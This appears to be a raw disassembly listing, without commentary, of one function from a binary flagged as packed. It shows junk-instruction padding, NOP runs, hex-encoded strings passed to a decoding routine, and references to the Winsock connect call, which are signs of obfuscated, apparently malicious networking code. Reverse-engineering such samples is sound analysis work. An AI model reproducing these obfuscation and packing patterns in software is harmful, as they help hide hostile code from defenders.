Function at 0x4012c4
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
jmp 0x4012df
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
push ebx
mov ebx, 1
mov ebx, 2
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 4
mov ebx, 2
mov ebx, 5
mov ebx, 5
pop ebx
push 0
xor eax, eax
call dword [0x41aae2]
nop
nop
fninit
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
jne 0x40136f
mov eax, 0x41a23d
push eax
push 1
mov ebx, 0x178
call fcn.004152c0
add esp, 0x10
mov dword [ebp - 4], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 4]
test eax, eax
jne 0x401398
mov eax, 0x41a23d
push eax
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4013be
push ebx
call fcn.004142ca
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004017c7
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x4013f3
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401403
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x41aa56]
test ebx, ebx
je 0x40141a
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa56], eax
push 0x80000301
push 0
push dword [ebp + 0xc]
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.004017c7
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401474
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401484
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x41aa5a]
test ebx, ebx
je 0x40149b
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa5a], eax
push 0x80000301
push 0
push dword [ebp + 0x10]
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.004017c7
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4014f5
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401505
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x41aa5e]
test ebx, ebx
je 0x40151c
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa5e], eax
mov eax, str.44658C1A684BC4AF1095D84927BC3AD658823A91D6A010AB2E3FC0EA2B74376A28F6EBFE851D49B3392CA12DB24C71CAE0F76C18D5742FF4394B280CFC20334F982AEEE833B962DD934296C06E3AB9E52C856AB3DB20150F5BC6701995876D7382740583D2184AACC709C9B88EBBF5CD914660EE7849CB3F22D7BFCC1415FCFB
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.004019ed
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401546
push ebx
call fcn.004142ca
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004017c7
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40157b
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x40158b
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x41aa62]
test ebx, ebx
je 0x4015a2
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa62], eax
mov eax, str.C15525691BAE8850560D954A079F1D50E747239BD157F13B3BCBADA13D9B00F8C61D3137C72757ACE82F1BFA5299CB0A7095C8845C37C5D49A57623F8633B4D4C1DBC6932A88A25B08D4A3CD16F7E6681430371FE1243B829B30A87DF97CBB0B9F29FBBE0733F9954E0B3E562CFF71018B31D8B4D5664F1A4654EED6CFCEF501
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.004019ed
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4015cc
push ebx
call fcn.004142ca
add esp, 4
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
mov dword [ebp - 0x10], 0
push 0
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004017c7
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x401601
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401611
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x14]
push eax
mov ebx, dword [0x41aa66]
test ebx, ebx
je 0x401628
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa66], eax
push reloc.WS2_32.dll_connect
push 0
push str.7E21FFCD
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
push 0
push dword [ebp - 8]
mov dword [ebp - 0xc], 0
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
call fcn.004017c7
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401684
push ebx
call fcn.004142ca
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401694
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 0x10]
push eax
mov ebx, dword [0x41aa6a]
test ebx, ebx
je 0x4016ab
push ebx
call fcn.004142ca
add esp, 4
pop eax
mov dword [0x41aa6a], eax
mov eax, dword [ebp + 0x24]
mov dword [0x41aa6e], eax
cmp dword [0x41aa72], 0
jne 0x4016e2
push 0
mov ebx, 4
mov eax, 0x418640
call fcn.00414900
add esp, 4
mov dword [0x41aa72], eax
mov eax, dword [ebp + 0x14]
mov dword [0x41aa76], eax
push 0x41a23d
mov ebx, dword [ebp + 0x2c]
push dword [ebx]
call fcn.00401227
add esp, 8
cmp eax, 0
je 0x401754
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp + 0x2c]
mov eax, dword [ebx]
test eax, eax
jne 0x40171a
mov eax, 0x41a23d
push eax
push 1
mov ebx, 0x198
call fcn.004155a0
add esp, 0x10
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
push eax
call fcn.00401c7c
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40174c
push ebx
call fcn.004142ca
add esp, 4
mov eax, dword [ebp - 8]
mov dword [0x41aa7a], eax
jmp 0x401764
nop
nop
nop
nop
nop
nop
mov esp, ebp
pop ebp
ret 0x2c